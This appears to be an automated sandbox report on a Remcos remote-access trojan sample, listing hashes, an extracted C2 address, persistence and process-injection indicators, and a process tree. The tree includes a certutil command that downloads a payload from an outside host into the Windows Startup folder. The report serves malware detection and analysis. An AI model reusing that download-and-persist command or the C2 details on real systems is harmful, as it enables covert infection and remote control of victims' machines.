Analysis
- max time kernel
150s - max time network
148s - platform
windows10_x64 - resource
win10v20201028 - submitted
10/11/2020, 11:28
Static task
static1
Behavioral task
behavioral1
Sample
999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
- Target 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe
- Size 961KB
- Sample201110-vf6h7p7gfs
- SHA256 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a
- MD5 86e3e7c94e7d6ff26528043f54968658
- SHA1 4addb4b91377f5f01b245b06756ea5eebfd8e099
- SHA512 2a86517d6ba84e905484f935715229369ab24abb6d4078ac48593407bf53d5e4f65a2cde989808808b7c2fc0b7c612265e741e9ccb2d4e7390c66a822f2fe77b
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
remcos
C2
-
www.rmagent.biz:7181
Signatures
- Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 912 set thread context of 212 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 79 - Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 212 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 212 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 912 wrote to memory of 2628 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 75 PID 912 wrote to memory of 2628 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 75 PID 912 wrote to memory of 2628 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 75 PID 2628 wrote to memory of 576 2628 cmd.exe 78 PID 2628 wrote to memory of 576 2628 cmd.exe 78 PID 2628 wrote to memory of 576 2628 cmd.exe 78 PID 912 wrote to memory of 212 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 79 PID 912 wrote to memory of 212 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 79 PID 912 wrote to memory of 212 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 79 PID 912 wrote to memory of 212 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 79 PID 912 wrote to memory of 212 912 999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe 79
Processes
-
C:\Users\Admin\AppData\Local\Temp\999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe"C:\Users\Admin\AppData\Local\Temp\999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe"1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:912 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵PID:576
-
-
-
C:\Users\Admin\AppData\Local\Temp\999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe"C:\Users\Admin\AppData\Local\Temp\999757965ae0d2f93b8f612ca2977877cd4c29aaf331e7deaaa74fc65118d34a.exe"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:212
-